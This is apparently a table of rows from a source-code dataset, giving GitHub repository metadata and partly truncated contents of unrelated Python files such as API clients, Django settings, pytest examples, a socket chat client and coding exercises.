blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e30846293cbee3d68c2188e6581dc18878084898 | e56214188faae8ebfb36a463e34fc8324935b3c2 | /intersight/api/graphics_api.py | 12b65e3024d8b135e38e989cf34b0a0185bfea6c | [
"Apache-2.0"
] | permissive | CiscoUcs/intersight-python | 866d6c63e0cb8c33440771efd93541d679bb1ecc | a92fccb1c8df4332ba1f05a0e784efbb4f2efdc4 | refs/heads/master | 2021-11-07T12:54:41.888973 | 2021-10-25T16:15:50 | 2021-10-25T16:15:50 | 115,440,875 | 25 | 18 | Apache-2.0 | 2020-03-02T16:19:49 | 2017-12-26T17:14:03 | Python | UTF-8 | Python | false | false | 64,543 | py | # coding: utf-8
"""
Cisco Intersight
Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environmen... | [
"ucs-build@github.com"
] | ucs-build@github.com |
c11bc856f2ea6a25f92cda9810b7bb119e56cd2a | 24fe1f54fee3a3df952ca26cce839cc18124357a | /servicegraph/lib/python2.7/site-packages/acimodel-4.0_3d-py2.7.egg/cobra/modelimpl/syslog/deststate.py | 94dfe225d2349b2697c4c964c150c674e036028f | [] | no_license | aperiyed/servicegraph-cloudcenter | 4b8dc9e776f6814cf07fe966fbd4a3481d0f45ff | 9eb7975f2f6835e1c0528563a771526896306392 | refs/heads/master | 2023-05-10T17:27:18.022381 | 2020-01-20T09:18:28 | 2020-01-20T09:18:28 | 235,065,676 | 0 | 0 | null | 2023-05-01T21:19:14 | 2020-01-20T09:36:37 | Python | UTF-8 | Python | false | false | 7,070 | py | # coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2019 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.m... | [
"rrishike@cisco.com"
] | rrishike@cisco.com |
c3b4cb6c2d7cbc8e5894e89e5b6a4b7727329f4d | 80810054516ddc3fd93e916de4bf7e3e07d871b0 | /1-books/book6_Python核心编程(第3版)/网络编程/functools_cmp_to_key.py | d16e6e1763906c6fdd78baf903356b25293a6ea7 | [] | no_license | TinyHandsome/BookStudy | df9ca668f2dd1b51b1e364c22bc531394a03eeae | 69c9018bb70893f74a44e4df9f3d3e39467de3f6 | refs/heads/master | 2023-09-04T03:06:43.918259 | 2023-09-01T04:27:01 | 2023-09-01T04:27:01 | 184,217,837 | 18 | 17 | null | null | null | null | UTF-8 | Python | false | false | 218 | py | x = ['hello', 'world', 'ni']
x.sort(key=len)
print(x)
from functools import cmp_to_key
ll = [9, 2, 23, 1, 2]
print(sorted(ll, key=cmp_to_key(lambda x, y: y - x)))
print(sorted(ll, key=cmp_to_key(lambda x, y: x - y)))
| [
"694317828@qq.com"
] | 694317828@qq.com |
1ec7f1e63501bcd0990480bde271f6da0909fd06 | 20f951bd927e4e5cde8ef7781813fcf0d51cc3ea | /fossir/modules/rb/tasks.py | a602ffdd2659a0af0aad35e4d26284196c247028 | [] | no_license | HodardCodeclub/SoftwareDevelopment | 60a0fbab045cb1802925d4dd5012d5b030c272e0 | 6300f2fae830c0c2c73fe0afd9c684383bce63e5 | refs/heads/master | 2021-01-20T00:30:02.800383 | 2018-04-27T09:28:25 | 2018-04-27T09:28:25 | 101,277,325 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 5,611 | py |
from __future__ import unicode_literals
from datetime import date, datetime
from itertools import groupby
from operator import attrgetter
from celery.schedules import crontab
from sqlalchemy.orm import contains_eager
from fossir.core.celery import celery
from fossir.core.config import config
from fossir.core.db im... | [
"hodardhazwinayo@gmail.com"
] | hodardhazwinayo@gmail.com |
71017d23dc19d08ded41fb88369fda81d0999bc6 | 95565fbf6c2418e3a9e4e43e3982da0220dd6881 | /satella/imports.py | b129afaeeb284639221004d7a9e78a638590461a | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | piotrmaslanka/satella | 6adc649bcbcd3ba596650f9c0bfca15cb0ec3a96 | 8dd3d4741c11717f9473b7fdc4b242dfcade7aa9 | refs/heads/develop | 2023-06-23T03:38:19.810958 | 2023-06-08T16:11:39 | 2023-06-08T16:11:39 | 7,431,872 | 14 | 1 | MIT | 2023-01-07T22:14:14 | 2013-01-03T23:02:52 | Python | UTF-8 | Python | false | false | 4,079 | py | import importlib
import os
import pkgutil
import typing as tp
import warnings
__all__ = ['import_from', 'import_class']
def import_class(path: str) -> type:
"""
Import a class identified with given module path and class name
:param path: path, eg. subprocess.Popen
:return: imported class
"""
... | [
"piotr.maslanka@henrietta.com.pl"
] | piotr.maslanka@henrietta.com.pl |
9891353f85074b0ed1070e11d7f0e2ad93f4360b | 2903ac66369b6bd45889b12629d8c8e34e6089b3 | /frappe_training/frappe_training/doctype/employee_info/employee_info.py | 6af4951315fdbdbbedc4214387b383397fcc6ffd | [
"MIT"
] | permissive | sivaranjanipalanivel/training | 6fa50b5f97fb00894404fba11122599fd796623c | b177c56a319c07dc3467ce3113e332ecee9b81fa | refs/heads/master | 2023-07-17T06:11:29.894363 | 2021-08-02T14:47:31 | 2021-08-02T14:47:31 | 391,987,470 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 265 | py | # -*- coding: utf-8 -*-
# Copyright (c) 2021, valiantsystems and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
# import frappe
from frappe.model.document import Document
class EmployeeINFO(Document):
pass
| [
"you@example.com"
] | you@example.com |
3db5cbd10cb5bc80f423f1f094adf67a4921cb7c | 6b1be23ee65447932c387dc62f556ef8b2097154 | /oblig3/SIRV_optimal_duration.py | 469e098879045c7a4119170062e0db19908c8681 | [] | no_license | Linueks/inf1100 | fd9fb4e0f338d387aa6d06430a5e484cc4037c8d | 0a4a23144fd047bd3b51c44905e6c78754a053a6 | refs/heads/main | 2023-02-20T19:47:21.264189 | 2021-01-23T13:29:02 | 2021-01-23T13:29:02 | 332,216,763 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,769 | py | from SIRV_varying_p import ProblemSIRV, SolverSIRV
import matplotlib.pyplot as plt
def optimal_duration():
maximum_I = []
time_points = range(0, 31, 1)
for time in time_points:
optimal_duration_problem = ProblemSIRV(p = lambda t: 0.1 if 6 <= t <= 6 + time else 0,
... | [
"noreply@github.com"
] | Linueks.noreply@github.com |
da568daf9fc7b5f7c51214728a20aade8ee98fae | 7a17f06fc65106e793ad8e23612d32266f14b1dc | /tests/cp2/test_cp2_cjalr_delay_2.py | 8940dcd76c1dc9c9d6d9555a7ba9951f47cf1f4c | [
"LicenseRef-scancode-beri-hw-sw-1.0"
] | permissive | capt-hb/cheritest | 19eda13df15aeba0003e550d97000827090f382a | dacc190eed70261e51a8a438203f680dc52a95c0 | refs/heads/master | 2023-01-19T20:05:40.020021 | 2020-06-11T07:51:26 | 2020-06-11T07:51:26 | 238,688,997 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,628 | py | #-
# Copyright (c) 2018 Alex Richardson
# All rights reserved.
#
# This software was developed by the University of Cambridge Computer
# Laboratory as part of the Rigorous Engineering of Mainstream Systems (REMS)
# project, funded by EPSRC grant EP/K008528/1.
#
# @BERI_LICENSE_HEADER_START@
#
# Licensed to BERI Open Sy... | [
"Alexander.Richardson@cl.cam.ac.uk"
] | Alexander.Richardson@cl.cam.ac.uk |
a5133468f1e3ac2b8f5cff07596ef2a408f55caf | 90047daeb462598a924d76ddf4288e832e86417c | /third_party/WebKit/Source/build/scripts/make_element_lookup_trie.py | 89b0d36b65ea2270b86f8b56a979d0c65b744131 | [
"BSD-3-Clause",
"LGPL-2.0-or-later",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"GPL-1.0-or-later",
"GPL-2.0-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft",
"MIT",
"Apache-2.0"
] | permissive | massbrowser/android | 99b8c21fa4552a13c06bbedd0f9c88dd4a4ad080 | a9c4371682c9443d6e1d66005d4db61a24a9617c | refs/heads/master | 2022-11-04T21:15:50.656802 | 2017-06-08T12:31:39 | 2017-06-08T12:31:39 | 93,747,579 | 2 | 2 | BSD-3-Clause | 2022-10-31T10:34:25 | 2017-06-08T12:36:07 | null | UTF-8 | Python | false | false | 3,206 | py | #!/usr/bin/env python
# Copyright (C) 2013 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list ... | [
"xElvis89x@gmail.com"
] | xElvis89x@gmail.com |
479010e4fad3411f3a48f4aa6eaecd7dc3742c2c | 711756b796d68035dc6a39060515200d1d37a274 | /output_cog/optimized_19878.py | 19e72df929151a150c4f3942a521b27edb39e709 | [] | no_license | batxes/exocyst_scripts | 8b109c279c93dd68c1d55ed64ad3cca93e3c95ca | a6c487d5053b9b67db22c59865e4ef2417e53030 | refs/heads/master | 2020-06-16T20:16:24.840725 | 2016-11-30T16:23:16 | 2016-11-30T16:23:16 | 75,075,164 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,835 | py | import _surface
import chimera
try:
import chimera.runCommand
except:
pass
from VolumePath import markerset as ms
try:
from VolumePath import Marker_Set, Link
new_marker_set=Marker_Set
except:
from VolumePath import volume_path_dialog
d= volume_path_dialog(True)
new_marker_set= d.new_marker_set
marker_set... | [
"batxes@gmail.com"
] | batxes@gmail.com |
92e7550f33ce661e0dfbc7c4973a08bffc0e7f60 | f177033785079d752502a6f91035e645b52d6416 | /env/lib/python3.7/enum.py | feea8108d76bd633dc5f062b86b413107e416625 | [] | no_license | ousamasama/Django-Exercise-14 | 18d00d563e29df7804664ac33cd1de5966a10126 | ecd023c2915e5c3b85614d857c916cd6a2b36316 | refs/heads/master | 2020-04-17T19:40:05.540532 | 2019-01-24T21:22:32 | 2019-01-24T21:22:32 | 166,873,826 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 55 | py | /Users/sama/.pyenv/versions/3.7.1/lib/python3.7/enum.py | [
"ousamasama@gmail.com"
] | ousamasama@gmail.com |
891f93e7f6991eb5a01701d37ad594831e3e606d | 468eacfd3e5e20e15ba4c98a136ff6aca4431a73 | /Labs/oop-1-employees.py | f6e9c036c60148fddabccfd73e0aa4f5cdca2148 | [] | no_license | DREAMS-lab/SES230-Coding-for-Exploration | b9888d837472efa33bc6047faa8ffd1fce00cb43 | f799b6c2fe7f199fed5dc33f2f6e69ca2e06dbc9 | refs/heads/master | 2023-01-07T20:54:04.465586 | 2020-11-11T16:56:01 | 2020-11-11T16:56:01 | 312,028,818 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 746 | py | class Employee:
"""Fill in the details"""
def __init__(self, _name='John Doe', _title='nothing', _salary=0):
self.__name = _name
self.title = _title
self.salary = _salary
def __str__(self):
return self.__name + ' ' + self.title + ' ' + str(self.salary)
def get_name(sel... | [
"jnaneshwar.das@gmail.com"
] | jnaneshwar.das@gmail.com |
13f6a301539f7a1edd24c3d259ad5391980283c4 | 4d40ea521582b88a8373845cd47c94c2fdd3125c | /src/chapter3/test_marks.py | b7eca7c90cb009bd26faa006a0ed26bee72803e4 | [] | no_license | lancelote/pytest-quick-start-guide | a74d01ae322f798e7e1fa4f54ad2432f42d6747f | b76f515b5f4034f195b294e4e13befbad4790d1b | refs/heads/master | 2020-03-29T14:19:17.725110 | 2018-11-07T10:01:31 | 2018-11-07T10:01:31 | 150,010,679 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 638 | py | import pytest
@pytest.mark.slow
def test_long_computation():
pass
@pytest.mark.timeout(10, method='thread')
def test_topology_sort():
pass
@pytest.mark.slow
@pytest.mark.timeout(10, method='thread')
def test_topology_sort_slow():
pass
timeout10 = pytest.mark.timeout(10, method='thread')
@timeout10... | [
"lancelote.du.lac@gmail.com"
] | lancelote.du.lac@gmail.com |
120fce3b3efd1034b3432b64e7fb3e599460cce4 | f67986550761cf3ed174d01063f5fdc8a26f59f3 | /vision/modules/YellowBuoy.py | 8f6cbc2d3f99cd730e91568440d78e8e8c8c7b08 | [
"BSD-3-Clause"
] | permissive | wpfhtl/software | 4dd5d116a1c90660264b32006617a6809b0a530e | 575d424be6b497e0f34f7297a9b322567c2e26c0 | refs/heads/master | 2021-01-23T02:40:49.542461 | 2016-04-15T04:16:21 | 2016-04-15T04:16:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 856 | py | import shm
from vision.modules import ModuleBase, buoy_common
from vision import options
capture_source = 'forward'
options = [options.IntOption('hls_h_min', 105, 0, 255),
options.IntOption('hls_h_max', 143, 0, 255),
options.IntOption('lab_a_min', 127, 0, 255),
options.IntOption('lab_a... | [
"software@cuauv.org"
] | software@cuauv.org |
4e050d2bbdac743366012d0ff8e56b35566b6b0e | bbc7d39cea6dadae9b2ffb114c8474c9c3b6d305 | /main.py | 885f10bc222b0b9e40e7bbd1e9cc7f2d1ce9c6d6 | [] | no_license | jfriedly/paste-math | 0018890c5bab2dd31a817a3aca6ac020c7e9613c | 0b171433fee5aefd562cfd730f969cf931ce86c1 | refs/heads/master | 2021-01-16T00:49:49.269091 | 2013-02-19T22:34:48 | 2013-02-19T22:34:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,623 | py | from lib import bottle
from lib.bottle import route, template, request, error, debug, static_file
from google.appengine.ext.webapp.util import run_wsgi_app
from google.appengine.api.app_identity import get_default_version_hostname
import lib.db
from lib.html import addLineBreaks
from google.appengine.api import users
i... | [
"schwendenman.paul@gmail.com"
] | schwendenman.paul@gmail.com |
a3bc08a2eea2aaf15b870cf2f660a74a25c7333c | e79888cd68177e7ec5125270cdc52f888e211e78 | /kiyuna/chapter04/knock32.py | 4831c290a1a6a476a9d47fec6053cfb790a309a1 | [] | no_license | cafenoctua/100knock2019 | ec259bee27936bdacfe0097d42f23cc7500f0a07 | 88717a78c4290101a021fbe8b4f054f76c9d3fa6 | refs/heads/master | 2022-06-22T04:42:03.939373 | 2019-09-03T11:05:19 | 2019-09-03T11:05:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | '''
32. 動詞の原形
動詞の原形をすべて抽出せよ.
'''
import sys
from knock30 import mecab_into_sentences
def message(text):
sys.stderr.write(f"\33[92m{text}\33[0m\n")
if __name__ == '__main__':
tgt = '動詞'
res = []
for sentence in mecab_into_sentences():
# メモリには優しくないが,ネストは深くならない
res.extend([d['base'] for... | [
"kyuna.prog@gmail.com"
] | kyuna.prog@gmail.com |
828e05d68fa7676fef57ac1f7c5ee4227f6f8f37 | 3ba03246e8ddf25b4f7607d072efad7dfdeb7a85 | /cbf_control/src/main.py | 59213d3470510c8c3ce432c023ab31f43e3a16c0 | [] | no_license | Jaroan/PR2_CBF | c1961c928547cd685e8c7c46452c6c2639764dce | 22b644d1462363bf3594cfe22e6069f22f9931e1 | refs/heads/master | 2021-10-08T16:57:03.671254 | 2018-12-15T04:01:31 | 2018-12-15T04:01:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,032 | py | import rospy
from std_msgs.msg import Float32MultiArray, MultiArrayDimension
import time
from optimizer import Optimizer
def forward_kinematics_func(q):
gfk = GetFK('l_wrist_roll_link', 'base_link')
resp = gfk.get_current_fk(q)
def publisher():
rospy.init_node('trajectory')
pub = rospy.Pub... | [
"varagrawal@gmail.com"
] | varagrawal@gmail.com |
cebb283734b02844e2039ccc368112a270cb896b | c39e466c2b6fdffbc410f24669f214e13fb87781 | /PYTHON/TEMA 4/Unit4_examples/Unit4_Functions_example1.py | 61c8f70816785dcaa93e7f65f5fccf3266b2d112 | [] | no_license | enanibus/biopython | 3a58efbcc92f1ce60285a115c620de9295b7d281 | 613d334a5c0502059930d9381a9464ef533cca1c | refs/heads/master | 2021-01-12T17:27:39.516793 | 2017-01-02T18:30:09 | 2017-01-02T18:30:09 | 71,573,732 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 256 | py | def Media (NumberList):
suma=0
for n in NumberList:
suma=suma+n
result=suma/len(NumberList)
return(result)
Weight4Bq=[70,47,68,56,87,49,48,71,65,62]
AverageWeight4Bq=Media(Weight4Bq)
print(AverageWeight4Bq)
| [
"juanenriqueztraba@gmail.com"
] | juanenriqueztraba@gmail.com |
9222ee7ff2fb1829be3106e311fbfe64e0ed86d0 | 96b4b1339e745fe15d898f301a65a002898d7a70 | /Project4/alt_solns/Final/prob1_sim.py | 442a9b5c20ac3a839a9ce36852de8c5ff993d629 | [] | no_license | abusa1101/AI-coding-problems | 8ace849ec236a059278d684bba644471f99d1979 | d4bfa45ddc2fa1aecbf15161fcea4cb92db8dec1 | refs/heads/master | 2023-08-25T19:28:56.851217 | 2021-10-06T20:39:51 | 2021-10-06T20:39:51 | 235,749,527 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,318 | py | import random as rd
def simulate_slots():
play_num = 0
balance = 10
cherry_payback = 0
while balance:
balance -= 1
play_num += 1
symbols = ["bar", "bell", "lemon", "cherry", "blank", "blank", "blank", "blank"]
wheels = []
for i in range(3):
wheels.a... | [
"abusa@umich.edu"
] | abusa@umich.edu |
7455a9c2dc2c361c1d554d1309ffd459284caa46 | fb3ff12389925480a19b11e6bb51ea760b7af729 | /chat2.py | 23914506991017343a3779cb057d01b0ca95d14a | [] | no_license | sd8917/web_project | 60a353a2bc24600a183a9653765612c5809e9634 | 18228db4980aa7733f2d668d1cb8201df13ec493 | refs/heads/master | 2020-03-31T20:53:06.384469 | 2018-10-11T09:09:12 | 2018-10-11T09:09:12 | 152,559,275 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 262 | py | import socket
s = socket.socket()
host = socket .gethostname()
port = 12345
s.connect((host,port))
while True:
data = str(s.recv(1024)).strip('b').strip('\'')
print(data)
messg = bytes("sudhanshu : " + input(r""),encoding='utf-8')
s.send(messg) | [
"sudhanshuraj8917@gmail.com"
] | sudhanshuraj8917@gmail.com |
8743f7c223895996eeda93730b3d1d86d7246f5b | e0feac125fb92c3d1834f9c9c89baf4ab9428fc6 | /steamshovel/python/artists/util.py | e2aeaf201e5848791815adc40ec69406a701c41d | [
"BSD-2-Clause"
] | permissive | AlexHarn/bfrv1_icetray | e6b04d04694376488cec93bb4b2d649734ae8344 | 91f939afecf4a9297999b022cea807dea407abe9 | refs/heads/master | 2022-12-04T13:35:02.495569 | 2020-08-27T22:14:40 | 2020-08-27T22:14:40 | 275,841,407 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,732 | py | import math
import re
from icecube.shovelart import Vec3dList, vec3d
from icecube import dataclasses
from icecube import icetray
I3Units = icetray.I3Units
# imports may not fail, since util is used by everybody
try: import numpy as np
except ImportError: pass
try:
from matplotlib import patches as mpatches
fro... | [
"nwhitehorn@icecube.wisc.edu"
] | nwhitehorn@icecube.wisc.edu |
c0554377c598e57e3369a03fa8b9b79338b3e0c2 | c76779dd4682cdf252623a193d735a8893e872f2 | /gs119/gs119/settings.py | 457eec650ae398373a531687421cc1ce5ef40e84 | [] | no_license | sailendrachettri/learning-django | fef240aa19303d876f760a5641d9d15b2716b61b | 3c413628f0f4a3a560fa5c56a5228260c50e0230 | refs/heads/main | 2023-03-28T22:18:24.620614 | 2021-04-10T11:04:40 | 2021-04-10T11:04:40 | 355,099,833 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,073 | py | """
Django settings for gs119 project.
Generated by 'django-admin startproject' using Django 3.1.7.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib i... | [
"sailendra9083@gmail.com"
] | sailendra9083@gmail.com |
459a5c19a5b75157ec9aa8f5eef3223c4ec4fba3 | a63e24d4d6521e98e1b79c2528ab6f08d5add66c | /kps2d_detection/hr_net/lib/utils/utils.py | 9561baa3f456005004fd3a5a38d49dcc505e5f43 | [
"MIT"
] | permissive | abrichr/cvToolkit | 7d3f2e593d3132aae8c519c024383b0f269eeda6 | 7f559138c27fedf9e3e3929cd4d6e4f8198d4c51 | refs/heads/master | 2022-07-19T00:45:52.036959 | 2020-05-26T06:02:24 | 2020-05-26T06:02:24 | 266,943,746 | 0 | 0 | MIT | 2020-05-26T04:24:25 | 2020-05-26T04:24:25 | null | UTF-8 | Python | false | false | 7,023 | py | # ------------------------------------------------------------------------------
# Copyright (c) Microsoft
# Licensed under the MIT License.
# Written by Bin Xiao (Bin.Xiao@microsoft.com)
# ------------------------------------------------------------------------------
from __future__ import absolute_import
from __futu... | [
"lxy5513@gmail.com"
] | lxy5513@gmail.com |
2954d8e87acd58471c0442c2ef128a0d55a74d62 | e00d8b1b7fc1d6425de2fe4538e84ccb9ccda452 | /itc/hebei_toll.py | 18b358874da6553e9bb06dd7a2c23613e0dbd413 | [] | no_license | yiruiduan/2018-07 | 64ffcc8988330bfd912bdf7f44d32ca3889a81d3 | 36471f3458abb96462021e3588ed2ebf9abfc739 | refs/heads/master | 2021-07-10T19:19:28.322710 | 2019-01-08T06:00:44 | 2019-01-08T06:00:44 | 135,425,614 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 812 | py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
import xlwt
import re
workbook = xlwt.Workbook(encoding = 'ascii')
pattern = re.compile(u'[\u4e00-\u9fa5]+')
with open("河北北京天津收费站.txt","r",encoding="utf-8") as f:
for line in f:
if line.startswith("###"):
filterdata = re.findall(pattern, line)
... | [
"yiruiduan@126.com"
] | yiruiduan@126.com |
30b9aecd5b9ce921e51813aabafbfb4ec0a9ce8f | 759211e54accb3c8b1375dca1f2a6f4738e8c6c2 | /pandas/io/pytables.py | 38e6c30a3dbd3913ce73fefaf73ca4cb26e3a59c | [
"BSD-3-Clause"
] | permissive | rkabir/pandas | fc92b88d171f34be35537027c0ec09c9c84225f5 | 877e5962f7d6b0e2444f108569c7d1264db5423f | refs/heads/master | 2021-01-18T11:59:31.831230 | 2011-09-18T22:40:30 | 2011-09-18T22:40:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 27,689 | py | """
High level interface to PyTables for reading and writing pandas data structures
to disk
"""
# pylint: disable-msg=E1101,W0613,W0603
from datetime import datetime
import time
import numpy as np
from pandas import (Series, TimeSeries, DataFrame, Panel, LongPanel,
MultiIndex)
from pandas.core.co... | [
"wesmckinn@gmail.com"
] | wesmckinn@gmail.com |
bdd739e1d194e3350e8d261608f052aa2d1cd68a | 781e2692049e87a4256320c76e82a19be257a05d | /all_data/exercism_data/python/atbash-cipher/780f7c2ca2024289b7e86d67c77cdb0a.py | f4cb4e0b4a787f169f151619ad13150dc07cb867 | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 769 | py | import re
def decode(ciphertext):
plaintext = ''
for c in list(ciphertext):
if c.isalpha():
tmp = ord('z') - ord(c)
plaintext += chr(ord('a') + tmp)
elif c.isdigit():
plaintext += c
return plaintext
def encode(plaintext):
ciphertext = ''
temptex... | [
"rrc@berkeley.edu"
] | rrc@berkeley.edu |
0f7f10326711a4cf4fffb689aed806f4d12d3b06 | 632b94beca62f7c8af5ae1d1e8e095a352600429 | /build_isolated/moveit_commander/catkin_generated/pkg.develspace.context.pc.py | 74d5b57eac50e95ed76ceddf9025312701f4f5af | [] | no_license | Haoran-Zhao/US_UR3 | d9eb17a7eceed75bc623be4f4db417a38f5a9f8d | a0c25e1daf613bb45dbd08075e3185cb9cd03657 | refs/heads/master | 2020-08-31T07:02:45.403001 | 2020-05-27T16:58:52 | 2020-05-27T16:58:52 | 218,629,020 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 401 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "moveit_commander"
PROJECT_SPACE_DIR =... | [
"zhaohaorandl@gmail.com"
] | zhaohaorandl@gmail.com |
81bffd876a4fdc0b34dd8eb8599fa803daf88a30 | bd8bc7abe0f774f84d8275c43b2b8c223d757865 | /368_LargestDivisibleSubset/largestDivisibleSubset.py | 0e89bdcccb45f3131c6fcbaaeee76f58dde3360f | [
"MIT"
] | permissive | excaliburnan/SolutionsOnLeetcodeForZZW | bde33ab9aebe9c80d9f16f9a62df72d269c5e187 | 64018a9ead8731ef98d48ab3bbd9d1dd6410c6e7 | refs/heads/master | 2023-04-07T03:00:06.315574 | 2021-04-21T02:12:39 | 2021-04-21T02:12:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 473 | py | class Solution:
def largestDivisibleSubset(self, nums: List[int]) -> List[int]:
nums.sort()
# dp[i] 表示 nums[i] 的约数集合
dp = [[x] for x in nums]
ans = []
for i in range(len(nums)):
for j in range(i):
if nums[i] % nums[j] == 0 and len(dp[j]) + 1 > len(... | [
"noreply@github.com"
] | excaliburnan.noreply@github.com |
f91fc4e82fe4ba7dd8fc849c4ffedc5c245bcd1a | 677fa54f9c8b48a813ff7b207817d1a3acc8ed25 | /main/lib/idds/tests/run_sql.py | 2e948042286c38b784fb2d53e1b239de536e453c | [
"Apache-2.0"
] | permissive | HSF/iDDS | 2a88cb35ebbf35c7e3427369a94c6b9d73c16182 | 193a95ec7ee154a2615fa8dcd99a79df5ddd3bec | refs/heads/master | 2023-08-31T11:10:10.410663 | 2023-08-25T14:03:17 | 2023-08-25T14:03:17 | 183,081,241 | 3 | 9 | NOASSERTION | 2023-09-14T11:55:03 | 2019-04-23T19:18:37 | Python | UTF-8 | Python | false | false | 1,990 | py | #!/usr/bin/env python
#
# Licensed under the Apache License, Version 2.0 (the "License");
# You may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0OA
#
# Authors:
# - Wen Guan, <wen.guan@cern.ch>, 2019
"""
performance test... | [
"wguan.icedew@gmail.com"
] | wguan.icedew@gmail.com |
bee6572bdf3ba51f555860b1eca5428bf08419a8 | ce3bd1c0f8ecb9bbe41ded050c702a35e82191f5 | /khat3680_l04/src/t01.py | 96aab39ff0aa54e8740da4a33efec24ebb80e6df | [] | no_license | khat3680/Data_Sturct_Python | e368133d01cd790206f49e3f401b73961234955a | 4ae75031b3abf36119331064bb119061ae6cd586 | refs/heads/master | 2022-12-10T02:59:01.016483 | 2020-09-11T16:46:31 | 2020-09-11T16:46:31 | 294,755,366 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 392 | py | """
-------------------------------------------------------
[program 1]
-------------------------------------------------------
Author: Anshul Khatri
ID: 193313680
Email: khat3680@mylaurier.ca
Section: CP164 Winter 2020
__updated__ = "2020-02-05"
-------------------------------------------------------
"""
from ... | [
"anshulskhatri@gmail.com"
] | anshulskhatri@gmail.com |
58cf908172c2c19f3b964ed05323f0906af4c37e | 5955ea34fd72c719f3cb78fbb3c7e802a2d9109a | /_STRUCTURES/String/deploy_str.py | b8cdf6f0aa4981933a3160534357a36a9727c468 | [] | no_license | AndreySperansky/TUITION | 3c90ac45f11c70dce04008adc1e9f9faad840b90 | 583d3a760d1f622689f6f4f482c905b065d6c732 | refs/heads/master | 2022-12-21T21:48:21.936988 | 2020-09-28T23:18:40 | 2020-09-28T23:18:40 | 299,452,924 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 219 | py | first = input("Введите первую букву :")
last = input("Введите последнюю букву :")
newStr = ""
while first <= last:
newStr += first
first = chr(ord(first)+ 1)
print(newStr)
| [
"andrey.speransky@gmail.com"
] | andrey.speransky@gmail.com |
